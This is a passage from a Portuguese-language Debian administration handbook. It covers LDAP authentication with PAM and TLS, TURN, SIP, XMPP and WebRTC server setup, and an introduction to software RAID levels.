delicada. Um erro pode levar a erros de autenticação, o que pode impedir um início
de sessão. Manter um shell root aberto é então uma boa precaução. Se acontecerem
erros de configuração, eles podem então ser consertados e os serviços reiniciados
com um mínimo de esforço.

O módulo LDAP para PAM é provido pelo pacote libpam-ldap. A instalação deste pacote realiza
umas poucas perguntas muito parecidas ”aquelas no pacote libnss-ldap; alguns parâmetros de
configuração (como o URI do servidor LDAP) são inclusive compartilhados com o pacote libnss-
ldap. As respostas são resumidas emTabela 11.3 .

Questão Resposta

Permitir a conta administrativa do LDAP se
comportar como o root local?

Sim. Isto permite usar o comando usual
passwd para modificar as senhas armazena-
das no banco de dados LDAP.

O banco de dados LDAP necessita estar lo-
gado? não

Conta LDAP para root cn=admin,dc=falcot,dc=com

A senha da conta de root do LDAP A senha do banco de dados administrativo
LDAP

Algorítimo de criptografia local para ser
usado em senhas crypt

Tabela 11.3 Configuração do libpam-ldap

A instalação do libpam-ldap automaticamente adapta a configuração padrão do PAM defi-
nida nos arquivos /etc/pam.d/common-auth, /etc/pam.d/common-password e /etc/pam.d/
common-account. Esse mecanismo usa a ferramenta dedicada pam-auth-update (fornecida
pelo pacote libpam-runtime). Essa ferramenta pode também ser rodada pelo administrador caso
ele queira habilitar ou desabilitar módulos PAM.
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Protegendo a Troca de Dados do LDAP

Por padrão, o protocolo LDAP transita pela rede em texto puro; isso inclui as senhas (criptogra-
fadas). Como as senhas criptografadas podem ser extraídas da rede, elas pode ficar vulneráveis
a ataques do tipo dicionário. Isso pode ser evitado usando um camada de criptografia extra;
habilitar essa camada é o tópico desta seção.

Configurando o Servidor O primeiro passo é criar um par de chaves (contendo uma chave
pública e uma chave privada) para o servidor LDAP. Os administradores da Falcot usaram no-
vamente easy-rsa para gerá-las (veja Seção 10.2.1.1, “Infraestrutura de Chaves Públicas: easy-
rsa” [237]). Ao executar ./build-key-server ldap.falcot.com são feitas algumas perguntas
mundanas (localização, nome da organização e assim por diante). A resposta para a pergunta
“nome comun” tem que ser um nome de máquina completo (fully-qualified) para o servidor
LDAP; em nosso caso, ldap.falcot.com.
Esse comando cria um certificado no arquivo keys/ldap.falcot.com.crt; a chave privada cor-
respondente é armazenada em keys/ldap.falcot.com.key.
Agora essas chaves tem que ser instaladas em seu local padrão, e nós temos que garantir que
o arquivo privado pode ser lido pelo servidor LDAP, o qual roda sob a identidade do usuário
openldap:
# adduser openldap ssl-cert
Adding user ‘openldap’ to group ‘ssl-cert’ ...
Adding user openldap to group ssl-cert
Done.
# mv keys/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key
# chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key
# chmod 0640 /etc/ssl/private/ldap.falcot.com.key
# mv newcert.pem /etc/ssl/certs/ldap.falcot.com.pem

O daemon slapd também precisa ser informado para usar essas chaves para criptografia. A
configuração do servidor LDAP é gerenciada dinamicamente: a configuração pode ser atuali-
zada através de operações normais do LDAP no objeto hierárquico cn=config, e o servidor atu-
aliza o /etc/ldap/slapd.d em tempo real para fazer com que a configuração seja persistente.
ldapmodify é, assim, a ferramenta certa para atualizar a configuração:

Exemplo 11.27 Configurando slapd para criptografia

# cat >ssl.ldif <<END
dn: cn=config
changetype: modify
add: olcTLSCertificateFile
olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem
-
add: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key
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-
END
# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry ”cn=config”

FERRAMENTA

ldapvi para editar um
diretório LDAP

Com o ldapvi, você pode exibir uma saída LDIF de qualquer parte do diretório
LDAP, fazer algumas mudanças no editor de texto, e deixar a ferramenta fazer as
correspondentes operações LDAP para você.

Esta é, portanto, uma maneira coveniente de atualizar a configuração do servidor
LDAP, simplesmente editando a hierarquia cn=config.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

O último passo para habilitar a criptografia envolve alterar a variável SLAPD_SERVICES no ar-
quivo /etc/default/slapd. Nós vamos torná-lo seguro e desabilitar o LDAP inseguro de uma
vez só.

Exemplo 11.28 O nome /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If
# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to
# /etc/ldap/slapd.conf).
SLAPD_CONF=

# System account to run the slapd server under. If empty the server
# will run as root.
SLAPD_USER=”openldap”

# System group to run the slapd server under. If empty the server will
# run in the primary group of its user.
SLAPD_GROUP=”openldap”

# Path to the pid file of the slapd server. If not set the init.d script
# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf by
# default)
SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also
# service requests on TCP-port 636 (ldaps) and requests via unix
# sockets.
# Example usage:
# SLAPD_SERVICES=”ldap://127.0.0.1:389/ ldaps:/// ldapi:///”
SLAPD_SERVICES=”ldaps:/// ldapi:///”
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# If SLAPD_NO_START is set, the init script will not start or restart
# slapd (but stop will still work). Uncomment this if you are
# starting slapd via some other means or if you don’t want slapd normally
# started at boot.
#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,
# the init script will not start or restart slapd (but stop will still
# work). Use this for temporarily disabling startup of slapd (when doing
# maintenance, for example, or through a configuration management system)
# when you don’t want to edit a configuration file.
SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system
# keytab file (/etc/krb5.keytab). To use a different keytab file,
# uncomment this line and change the path.
#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd
SLAPD_OPTIONS=””

Configurando o Cliente No lado do cliente, a configuração para os módulos libpam-ldap e
libnss-ldap precisa ser modificada para usar a URI ldaps://.
Clientes LDAP tambémprecisam ser capazes de autenticar o servidor. Em uma infraestrutura de
chave pública X.509, certificados públicos são assinados pela chave da autoridade certificadora
(CA, do inglês certificate authority). Com easy-rsa, os administradores da Falcot criaram seu
próprio CA e agora eles precisam configurar o sistema para confiar nas assinaturas do CA da
Falcot. Isso pode ser feito colocando o certificado CA em /usr/local/share/ca-certificates
e executando update-ca-certificates.

# cp keys/ca.crt /usr/local/share/ca-certificates/falcot.crt
# update-ca-certificates
Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....
Adding debian:falcot.pem
done.
done.

Por último, mas não menos importante, a URI padrão do LDAP e o DN base padrão usado por
várias ferramentas de linha de comandopodemsermodificados em /etc/ldap/ldap.conf. Isso
irá evitar, consideravelmente, digitação.

Exemplo 11.29 O arquivo /etc/ldap/ldap.conf
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#
# LDAP Defaults
#

# See ldap.conf(5) for details
# This file should be world readable but not world writable.

BASE dc=falcot,dc=com
URI ldaps://ldap.falcot.com

#SIZELIMIT 12
#TIMELIMIT 15
#DEREF never

# TLS certificates (needed for GnuTLS)
TLS_CACERT /etc/ssl/certs/ca-certificates.crt

11.8. Serviços de Comunicação em Tempo Real

Serviços de Comunicação em Tempo Real (RTC) incluem voz, vídeo/webcam, mensagem instan-
tânea (IM) e compartilhamento de área de trabalho. esse capítulo dá umabreve introdução a três
dos serviços necessários para operar um RTC, incluindo os servidores TURN, SIP e XMPP. Com-
preensíveis detalhes em como planejar, instalar e gerenciar esses serviços estão disponíveis no
Guia de Início Rápido para Comunicações em Tempo Real, que inclui exemplos específicos para
o Debian.
è http://rtcquickstart.org

Tanto o SIP quanto o XMPP podem fornecer a mesma funcionalidade. O SIP é sutilmente mais
bem conhecido para voz e vídeoo, enquanto que o XMPP é tradicionalmente considerado como
um protocolo IM. Na verdade, os dois podem ser usados para qualquer um desses propósitos.
Para maximizar as opções de conectividade, é recomendado rodar os dois em paralelo.
Esses serviços fazem uso dos certificados X.509, tanto para propósitos de autenticação quanto
para confidencialidade. Veja Seção 10.2.1.1, “Infraestrutura de Chaves Públicas: easy-rsa” [237]
para detalhes em como criá-los. Alternativamente o Guia de Início Rápido para Comunicações em
Tempo Real também tem algumas explicaçẽos úteis:
è http://rtcquickstart.org/guide/multi/tls.html

11.8.1. Configurações de DNS para serviços RTC

Serviços RTC requerem registros DNS SRV e NAPTR. Uma configuração exemplo que pode ser
colocada no arquivo zona para falcot.com:
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; the server where everything will run
server1 IN A 198.51.100.19
server1 IN AAAA 2001:DB8:1000:2000::19

; IPv4 only for TURN for now, some clients are buggy with IPv6
turn-server IN A 198.51.100.19

; IPv4 and IPv6 addresses for SIP
sip-proxy IN A 198.51.100.19
sip-proxy IN AAAA 2001:DB8:1000:2000::19

; IPv4 and IPv6 addresses for XMPP
xmpp-gw IN A 198.51.100.19
xmpp-gw IN AAAA 2001:DB8:1000:2000::19

; DNS SRV and NAPTR for STUN / TURN
_stun._udp IN SRV 0 1 3467 turn-server.falcot.com.
_turn._udp IN SRV 0 1 3467 turn-server.falcot.com.
@ IN NAPTR 10 0 ”s” ”RELAY:turn.udp” ”” _turn._udp.falcot.com.

; DNS SRV and NAPTR records for SIP
_sips._tcp IN SRV 0 1 5061 sip-proxy.falcot.com.
@ IN NAPTR 10 0 ”s” ”SIPS+D2T” ”” _sips._tcp.falcot.com.

; DNS SRV records for XMPP Server and Client modes:
_xmpp-client._tcp IN SRV 5 0 5222 xmpp-gw.falcot.com.
_xmpp-server._tcp IN SRV 5 0 5269 xmpp-gw.falcot.com.

11.8.2. Servidor TURN

TURN é um serviço que ajuda clientes atrás de roteadores NAT e firewalls a descobrir a maneira
mais eficiente de comunicar com outros clientes e para retransmitir o fluxo de mídia caso ne-
nhum caminho de mídia direto possa ser encontrado. É altamente recomendado que o servidor
TURN seja instalado antes de outros serviços RTC serem oferecidos para os usuários finais.
TURN e o protocolo ICE relacionado são padrões abertos. Para se beneficiar desses protocolos,
maximizar a conectividade e minimizar a frustação do usuário, é importante garantir que todos
os softwares clientes tenham suporte a ICE e TURN.
Para que o algorítimo ICE funcione efetivamente, o servidor tem que ter dois endereços IPv4
públicos.

Instalar o servidor TURN

Instale o pacote resiprocate-turn-server.
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Edite o arquivo de configuração /etc/reTurn/reTurnServer.config. A coisamais importante
a fazer é inserir os endereços IP do servidor.

# your IP addresses go here:
TurnAddress = 198.51.100.19
TurnV6Address = 2001:DB8:1000:2000::19
AltStunAddress = 198.51.100.20
# your domain goes here, it must match the value used
# to hash your passwords if they are already hashed
# using the HA1 algorithm:
AuthenticationRealm = myrealm

UserDatabaseFile = /etc/reTurn/users.txt
UserDatabaseHashedPasswords = true

Reinicie o serviço.

Gerenciando os usuário do TURN

Use o utilitário htdigest para gerenciar a lista de usuários do servidor TURN.

# htdigest /etc/reTurn/users.txt myrealm joe

Use o sinal HUP para fazer com queo servidor recarrege o arquivo /etc/reTurn/users.
txt após alterá-lo ou habilite o recurso de recarregamento automático em /etc/reTurn/
reTurnServer.config.

11.8.3. Servidor Proxy SIP

Um servidor proxy SIP gerencia entrada e saída de conexões SIP entre outras organizações, pro-
vedores de trunking SIP, SIP PBXes tais como Asterisk, telefones SIP, softphones baseados em
SIP e aplicações WebRTC.
É altamente recomendado instalar e configurar o proxy SIP antes de tentar uma configuração
do PBX SIP. O proxy SIP normaliza muito do tráfego que atinge o PBX e fornece uma melhor
conectividade e resiliência.

Instalar o proxy SIP

Instale o pacote repro. O uso do pacote que está na jessie-backports é altamente recomendado, já
que ele tem os últimos melhoramentos para maximizar a conectividade e resiliência.
Edite o arquivo de configuração /etc/repro/repro.config configuration file. A coisa mais
importante a fazer é inserir o endereço IP do servidor. O exemplo abaixo demonstra como con-
figurar um SIP regular e um WebSockets/WebRTC, usando TLS, IPv4 e IPv6:
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# Transport1 will be for SIP over TLS connections
# We use port 5061 here but if you have clients connecting from
# locations with firewalls you could change this to listen on port 443
Transport1Interface = 198.51.100.19:5061
Transport1Type = TLS
Transport1TlsDomain = falcot.com
Transport1TlsClientVerification = Optional
Transport1RecordRouteUri = sip:falcot.com;transport=TLS
Transport1TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport1TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport2 is the IPv6 version of Transport1
Transport2Interface = 2001:DB8:1000:2000::19:5061
Transport2Type = TLS
Transport2TlsDomain = falcot.com
Transport2TlsClientVerification = Optional
Transport2RecordRouteUri = sip:falcot.com;transport=TLS
Transport2TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport2TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport3 will be for SIP over WebSocket (WebRTC) connections
# We use port 8443 here but you could use 443 instead
Transport3Interface = 198.51.100.19:8443
Transport3Type = WSS
Transport3TlsDomain = falcot.com
# This would require the browser to send a certificate, but browsers
# don’t currently appear to be able to, so leave it as None:
Transport3TlsClientVerification = None
Transport3RecordRouteUri = sip:falcot.com;transport=WSS
Transport3TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport3TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport4 is the IPv6 version of Transport3
Transport4Interface = 2001:DB8:1000:2000::19:8443
Transport4Type = WSS
Transport4TlsDomain = falcot.com
Transport4TlsClientVerification = None
Transport4RecordRouteUri = sip:falcot.com;transport=WSS
Transport4TlsPrivateKey = /etc/ssl/private/falcot.com-key.pem
Transport4TlsCertificate = /etc/ssl/public/falcot.com.pem

# Transport5: this could be for TCP connections to an Asterisk server
# in your internal network. Don’t allow port 5060 through the external
# firewall.
Transport5Interface = 198.51.100.19:5060
Transport5Type = TCP
Transport5RecordRouteUri = sip:198.51.100.19:5060;transport=TCP
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HttpBindAddress = 198.51.100.19, 2001:DB8:1000:2000::19
HttpAdminUserFile = /etc/repro/users.txt

RecordRouteUri = sip:falcot.com;transport=tls
ForceRecordRouting = true
EnumSuffixes = e164.arpa, sip5060.net, e164.org
DisableOutbound = false
EnableFlowTokens = true
EnableCertificateAuthenticator = True

Use o utilitário htdigest para gerenciar a senha do admin para a interface web. O nome de
usuário tem que ser admin e o nome ”realm” tem que coincidir com o valor especificado em
repro.config.
# htdigest /etc/repro/users.txt repro admin

Reinicie o serviço para usar a nova configuração.

Gerenciando o proxy SIP

Vá para a interface web em http://sip-proxy.falcot.com:5080 para completar a configuraçao fa-
zendo a adição de domínios, usuários locais e rotas estáticas.
O primeiro passo é adicionar um domínio local. O processo tem que ser reiniciado após a adição
ou remoção de domínios da lista.
O proxy sabe como rotear chamadas entre usuários locais e endereços SIP completos, a configu-
ração de roteamento só é necessária par sobrescrever o comportamento padrão, por exemplo,
para reconhecer números de telefone, adicionar um prefixo e roteá-los para um provedor SIP.

11.8.4. Servidor XMPP

Um servidor XMPP gerencia a conectividade entre usuários XMPP locais e usuários XMPP em
outros domínios na internet pública.

VOCABULÁRIO

XMPP ou Jabber?
O XMPP é, algumas vezes, referenciado como Jabber. Na verdade, Jabber é uma
marca registrada e XMPP é o nome oficial do padrão.

Prosody é um popular servidor XMPP que opera de forma confiável em servidores Debian.

Instalar o servidor XMPP

Instale o pacote prosody. O uso do pacote existente na jessie-backports é altamente recomendado,
já que ele tem os últimos melhoramentos para maximizar a conectividade e resiliência.
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Reveja o arquivo de configuração /etc/prosody/prosody.cfg.lua. A coisa mais importante a
fazer é inserir as JIDs dos usuários que tem permissão para gerenciar o servidor.
admins = { ”joe@falcot.com” }

Um arquivo de configuração individual também é necessário para cada domínio. Copie o exem-
plo de /etc/prosody/conf.avail/example.com.cfg.lua e use-o comoponto departida. Aqui
está o falcot.com.cfg.lua:
VirtualHost ”falcot.com”

enabled = true
ssl = {

key = ”/etc/ssl/private/falcot.com-key.pem”;
certificate = ”/etc/ssl/public/falcot.com.pem”;
}

Para habilitar o domínio, tem que existir um symlink de /etc/prosody/conf.d/. Crie-o dessa
forma:
# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Reinicie o serviço para usar a nova configuração.

Gerenciando o servidor XMPP

Algumas operações de gerenciamento podem ser realizadas usando o utilitário de linha de
comando prosodyctl. Por exemplo, para adicionar a conta de administrador especificada em
/etc/prosody/prosody.cfg.lua:
# prosodyctl adduser joe@falcot.com

Veja a documentação online do Prosody1 para mais detalhes sobre como customizar a configu-
ração.

11.8.5. Rodando serviços na porta 443

Alguns administradores preferem rodar todos os serviços RTC na porta 443. Isso ajuda os usuá-
rios a se conectar a partir de localizações remotas, tais como hotéis e aeroportos, onde outras
portas podem estar bloqueadas ou o tráfego de Internet é roteado através de servidores proxy
HTTP.
Para usar essa estratégia, cada serviço (SIP, XMPP e TURN) precisa de um endereço IP diferente.
Todos os serviços ainda podem estar na mesmamáquina, já que oLinux tem suporte a multiplos
endereços IP em uma única máquina. O número de porta, 443, tem que ser especificado nos
arquivos de configuração de cada processo e também nos registros DNS SRV.

1http://prosody.im/doc/configure
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11.8.6. Adicionando WebRTC

A Falcot que deixar os clientes fazerem chamadas telefônicas a partir do site web. Os adminis-
tradores da Falcot também querem usar o WebRTC como parte de seu plano de resgate em um
disastre, para que a equipe possa usar navegadores web em casa para iniciar uma sessão no sis-
tema de telefonia da companhia e trabalhar normalmente em uma emergência.

NA PRÁTICA

Experimente o WebRTC
Se você nunca experimentou o WebRTC antes, existem vários sites que oferecem
uma demonstração online e instalações de teste.

è http://www.sip5060.net/test-calls

O WebRTC é uma tecnologia de envolvimento rápido e é essencial usar pacotes existentes nas
distribuições jessie-backports ou Teste (”Testing”).
O JSCommunicator é um telefoneWebRTC genérico e semmarca que não requer nenhum script
rodando no lado do servidor como o PHP. Ele é construído com HTML, CSS e JavaScript. Ele
é a base para muitos outros serviços WebRTC e módulos para mais avançados frameworks de
plublicação na web.
è http://jscommunicator.org

O pacote jscommunicator-web-phone é a maneira mais rápida de instalar um telefone WebRTC
em um site web. Ele requer um proxy SIP com transporte de WebSocket. As instruções em Se-
ção 11.8.3.1, “Instalar o proxy SIP” [310] incluem os detalhes necessários para habilitar o trans-
porte de WebSocket no proxy SIP repro.
Após a instalação do jscommunicator-web-phone, existem várias maneira de usá-lo. Uma estraté-
gia simples é incluir ou copiar a configuração de /etc/jscommunicator-web-phone/apache.
conf para uma configuração de host virtual do Apache.
Uma vez que os arquivos web-phone estejam disponíveis no servidor web, customize o /etc/
jscommunicator-web-phone/config.js para apontar para o servidor TURN server e proxy
SIP. Por exemplo:
JSCommSettings = {

// Web server environment
webserver: {
url_prefix: null // If set, prefix used to construct sound/ URLs

},

// STUN/TURN media relays
stun_servers: [],
turn_servers: [
{ server:”turn:turn-server.falcot.com?transport=udp”, username:”joe”, password:”

å j0Ep455d” }
],

// WebSocket connection
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websocket: {
// Notice we use the falcot.com domain certificate and port 8443
// This matches the Transport3 and Transport4 example in
// the falcot.com repro.config file

servers: ’wss://falcot.com:8443’,
connection_recovery_min_interval: 2,
connection_recovery_max_interval: 30

},

...

Sitesweb clique-para-chamarmais avançados tipicamente usam scritps do lado do servidor para
gerar o arquivo config.js dinamicamente. O código fonte DruCall2 demonstra como fazer isso
com PHP.
Esse capítulomostrou apenas uma fração dos softwares de servidor disponíveis; contudo, amaio-
ria dos serviços de rede comuns foramdescritos. Agora é hora de umcapítulo aindamais técnico:
nós iremos entrar mais detalhadamente ainda em alguns conceitos, descrevendo implementa-
ções massivas e virtualização.

2http://drucall.org
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Este capítulo retoma alguns aspectos já descritos, com uma perspectiva diferente: em vez de instalar em
um único computador, vamos estudar a implantação de sistemas em massa; em vez de criar volumes
RAID ou LVM no momento da instalação, vamos aprender a fazer tudo na mão para que mais tarde
possamos rever nossas escolhas iniciais. Finalmente, vamos discutir as ferramentas de monitoramento e
técnicas de virtualização. Como consequência, este capítulo é mais particularmente alvo de
administradores profissionais e centra-se um pouco menos nos indivíduos responsáveis pela sua rede
doméstica.



12.1. RAID e LVM

Capítulo 4, Instalação [50] apresentou estas tecnologias do ponto de vista do instalador e como
ele as integrou para fazer a sua implantação fácil desde o início. Após a instalação inicial, um
administrador deve ser capaz de lidar com as necessidades de espaço de armazenamento em
evolução, sem ter que recorrer a uma reinstalação cara. Devem, portanto, compreender as fer-
ramentas necessárias para manipular volumes RAID e LVM.
RAID e LVM são duas técnicas para abstrair os volumes montados a partir de seus equivalentes
físicos (reais unidades de disco rígido ou partições do mesmo), o primeiro protege os dados de
falhas no hardware através da introdução de redundância, o último torna o gerenciamento de
volumesmais flexível e independente do tamanho real nos discos. Em ambos os casos, o sistema
acaba com novos volumes (partições, blocos), que podem ser usados para criar sistemas de ar-
quivos ou espaço de troca, sem necessariamente ter eles mapeados em um disco físico. LVM e
RAID vêm de origens bem diferentes, mas sua funcionalidade pode sobrepor-se um pouco, é por
isso que eles são muitas vezes mencionados juntos.

PERSPECTIVE

Btrfs combina LVM e
RAID

Enquanto LVM e RAID são dois subsistemas do kernel distintos que estão entre os
dispositivos de bloco do disco e seus sistemas de arquivos, Btrfs é um novo sistema
de arquivos, desenvolvido inicialmente pela Oracle, que pretende combinar os con-
juntos de recursos de LVM e RAID e muito mais. É sobretudo funcional, embora
ainda seja definido como ”experimental”, pois seu desenvolvimento é incompleto
(alguns recursos ainda não estão implementados).

è http://btrfs.wiki.kernel.org/

Entre as características marcantes estão a capacidade de tirar um instantâneo de
uma árvore de diretórios em qualquer ponto no tempo. Este instantâneo inicial-
mente não utiliza nenhum espaço em disco, os dados só serão duplicados quando
um dos arquivos copiados for modificado. O sistema de arquivos também lida com
a compressão transparente de arquivos e somas de verificação (checksums) garan-
tem a integridade de todos os dados armazenados.

Emambos os casos RAID e LVM, o kernel fornece umarquivo de dispositivo de bloco semelhantes
aos que correspondem a uma unidade de disco rígido ou partição. Quando um pedido ou uma
outra parte do núcleo, requer o acesso a um bloco de um tal dispositivo, as rotas de subsistemas
apropriadas do bloco são usadas para a camada física relevante. Dependendo da configuração,
este bloco pode ser armazenado em um ou vários discos físicos e sua localização física pode não
ser directamente relacionada com a localização do bloco no dispositivo lógico.

12.1.1. RAID Por Software

RAID significa Redundant Array of Independent Disks - conjunto redundante de discos independentes.
O objetivo deste sistema é evitar perda de dados em caso de falha do disco rígido. O princípio
geral é bastante simples: os dados são armazenados em vários discos físicos em vez de apenas
um, com um nível configurável de redundância. Dependendo desta quantidade de redundância,
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e mesmo no caso de uma falha de disco inesperado, dados podem ser reconstruídos sem perdas
dos restantes discos.

CULTURA

Independent or inexpensive?
O I da sigla RAID inicialmente significava inexpensive (barato), por que o RAID
permitia um aumento drástico na segurança de dados sem precisar investir em
discos de alta qualidade. Provavelmente, devido a questões demelhoria da imagem,
o I é agora normalmente chamado de independent, para não ficar com este aspecto
de economia.

O RAID pode ser implementado tanto por hardware dedicado (módulos RAID integrados em pla-
cas controladoras SCSI ou SATA) ou por abstração de software (o núcleo). Seja por hardware
ou software, um sistema RAID com redundância suficiente pode, de forma transparente, conti-
nuar operacional quando um disco falha; as camadas superiores da pilha (aplicações) podem até
manter o acesso aos dados apesar da falha. Claro que, esse “modo degradado” pode ter impacto
na performance, e a redundância é reduzida, então uma falha profunda do disco pode levar a
perda de dados. Na prática, entretanto, um irá se esforçar para apenas ficar nesse modo degra-
dado o tempo que for necessário para que se possa substituir o disco falho. Uma vez que o novo
disco seja colocado, o sistema RAID pode reconstruir os dados necessários e então retornar ao
modo seguro. As aplicações não notarão nada, fora a potencial redução da velocidade de acesso,
enquanto a array estiver no modo degradado ou durante a fase de reconstrução.
Quando o RAID é implementado por hardware, sua configuração geralmente acontece dentro da
ferramenta de configuração da BIOS, e o núcleo irá considerar uma array RAID como um único
disco, que irá funcionar como um disco físico padrão, embora o nome do dispositivo possa ser
diferente (dependendo do driver).
Nós apenas focamos em RAID de software neste livro.

Diferentes Níveis de RAID

RAID não é na verdade um único sistema, mas vários sistemas identificados por seus níveis; os
níveis diferem por sua disposição e quantidade de redundância que eles fornecem. Quanto mais
redundante, mais à prova de falhas, uma vez que o sistema será capaz de continuar a trabalhar
quando mais discos falharem. A contrapartida é que reduz o espaço utilizável para um dado
conjunto de discos; visto de outra forma, mais discos serão necessários para armazenar amesma
quantidade de dados.

RAID Linear Mesmo o que o subsistema de RAID do núcleo permita a criação de um “RAID li-
near”, isso não é um RAID propriamente, já que essa configuração não envolve qualquer
redundância. O núcleo apenas agrega vários discos fim-a-fim e provê o volume agregado
resultante como um disco virtual (um dispositivo de bloco). Essa é sua única função. Essa
configuração raramente é usada por ela própria (veja mais adiante sobre as exceções), es-
pecialmente porque a falta de redundância significa que a falha de um disco faz com que
todo o agregado, e portanto todos os dados, fiquem indisponíveis.

319Capítulo 12 — Administração Avançada



RAID-0 Esse nível também não provê nenhuma redundância, mas os discos não são simples-
mente ligados pelo final um após o outro: eles são divididos em listras (stripes), e os blocos
no dispositivo virtual são armazenados em listras (stripes) em discos físicos alternados.
Em uma configuração de RAID-0 de dois discos, por exemplo, em blocos de número par do
dispositivo virtual serão armazenados no primeiro disco físico, enquanto os blocos ímpa-
res ficarão no segundo disco físico.

Esse sistema não tem por objetivo um aumento de credibilidade, já que (como em um caso
linear) a disponibilidade de todos os dados é comprometida assim que um disco falhar,
mas um aumento de desempenho: durante um acesso sequencial a grandes quantidades
de dados contíguos, o núcleo será capaz de ler a partir dos dois discos (ou escrever neles)
em paralelo, o que incrementa a taxa de transferência de dados. Contudo, o uso do RAID-0
está murchando, seu nicho está sendo preenchido pelo LVM (veja mais adiante).

RAID-1 Esse nível, também conhecido como “espelhamento RAID”, é tanto o mais simples
quanto a mais amplamente usada configuração. Em sua forma padrão, ele usa dois discos
físicos de mesmo tamanho e fornece um volume lógico de mesmo tamanho mais uma vez.
Os dados são armazenados identicamente nos dois discos, por isso o apelido “espelho”.
Quando um disco falha, os dados ainda estão disponíveis no outro. Para dados realmente
críticos, RAID-1 pode, é claro, ser configurado para mais de dois discos, com impacto di-
reto na relação de custo de hardware versus espaço de carga disponível.

NOTA

Discos e tamanhos de
cluster

Se dois discos de tamanhos diferentes são criados em um espelho, o maior
não será totalmente usado, pois ele irá conter os mesmos dados como o me-
nor e nada mais. O espaço útil disponível fornecido por um volume RAID-1,
portanto, corresponde ao tamanho do disco menor na matriz. Isso ainda
vale para volumes RAID com um maior nível RAID, apesar de redundância
é armazenada de forma diferente.

Por isso é importante, ao configurar arrays RAID (exceto RAID-0 ”RAID li-
near”), só montar discos de tamanhos idênticos, ou muito perto, para evitar
o desperdício de recursos.

NOTA

Discos de reposição
Níveis RAID que incluem redundância permitem atribuir mais discos do
que o necessário para uma array. Os discos extras são usados como reservas
quando um dos principais discos falha. Por exemplo, em um espelho de dois
discos emais um reserva, se umdos dois primeiros discos falhar, o núcleo irá
automaticamente (e imediatamente) reconstruir o espelho usando o disco
reserva, para que a redundância continue garantida após o momento de
reconstrução. Isso pode ser usado como outro tipo de salva guarda para
dados críticos.

Alguém poderia ser perdoado por questionar como isso pode ser melhor do
que simplesmente espelhar três discos como início. A vantagem da configu-
ração de um “disco reserva” é que o disco reserva pode ser compartilhado
entre vários volumes RAID. Por exemplo, é possível ter três volumes espe-
lhados, com garantia de redundância mesmo no caso de falha de um disco,
com apenas sete discos (três pares, mais um reserva compartilhado), ao in-
vés dos nove discos que seriam necessários para três trigêmeos.
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Esse nível de RAID, embora caro (já que apenas metade do espaço físico de armazenagem,
na melhor das hipóteses, é útil), é amplamente usado na prática. Ele é simples de enten-
der, e ele permite cópias de segurança (backups) bem simples: como os dois discos tem
conteúdos idênticos, um deles pode ser temporariamente extraído, sem impacto no sis-
tema em funcionamento. O desempenho de leitura geralmente é incrementado , já que o
núcleo pode ler metade dos dados em cada disco, em paralelo, enquanto o desempenho
de escrita não é muito severamente degradado. No caso de uma array RAID-1 de N discos,
os dados continuam disponíveis mesmo com a falha do disco N-1.

RAID-4 Esse nível de RAID, não amplamente usado, usa N discos para armazenar dados úteis,
e um disco extra para armazenar informação redundante. Se esse disco falhar, o sistema
pode reconstruir seu conteúdo a partir do outro N. Se um dos N discos de dados falhar, O
N-1 remanescente combinado com o disco “paridade” contém informação suficiente para
reconstruir os dados requeridos.
RAID-4 não émuito caro já que ele apenas envolve um incremento de um-em-N nos custos
e não se tem impacto perceptível no desempenho de leitura, mas a escrita é mais devagar.
Além disso, como uma escrita em qualquer um dos N discos também envolve a escrita
no disco de paridade, esse último tem muito mais escritas que o anterior, e sua vida útil
pode ser dramaticamente diminuída como consequência. Os dados na array RAID-4 só
está segura até um disco falhar (dos N+1).

RAID-5 RAID-5 resolve o problema de assimetria do RAID-4: a paridade de blocos é distribuída
por todos os N+1 discos, sendo que nenhum tem um papel particular.
A performance de leitura e escrita são idênticas ao RAID-4. Aqui novamente, o sistema
continua funcional mesmo com a falha de um disco (do N+1), mas não mais.

RAID-6 RAID-6 pode ser considerado uma extensão do RAID-5, onde cada série de N blocos en-
volvem dois blocos redundantes, e cada série de N+2 blocos e distribuída sobre N+2 discos.
Esse nível de RAID é levemente mais caro que os dois anteriores, mas ele traz alguma se-
gurança extra já que até dois drives (dos N+2) podem falhar sem comprometer a disponi-
bilidade dos dados. A contraparte é que as operações de escrita agora envolvem escrever
um bloco de dados e dois blocos de redundância, o que os torna ainda mais lento.

RAID-1+0 Isso não é, estritamente falando, um nível RAID, mas um empilhamento de dois agru-
pamentos RAID. A partir de 2×N discos, primeiro se configura eles por pares em volumes
N RAID-1; esses volumes N são então agregados em um só, seja por “linear RAID” ou (cada
vez mais) por LVM. Esse último caso vai além do puro RAID, mas não existe problema
quanto a isso.
RAID-1+0 pode sobreviver com múltiplas falhas nos discos: até N na 2xN série descrita
acima, provendo ao menos um disco funcional em cada par de RAID-1.

Aprofundando

RAID-10
RAID-10 é ,geralmente , considerado um sinônimo de RAID-1+0, mas uma
especifidade Linux faz com que ele seja realmente uma generalização. Essa
configuração permite um sistema aonde cada bloco seja armazenado em
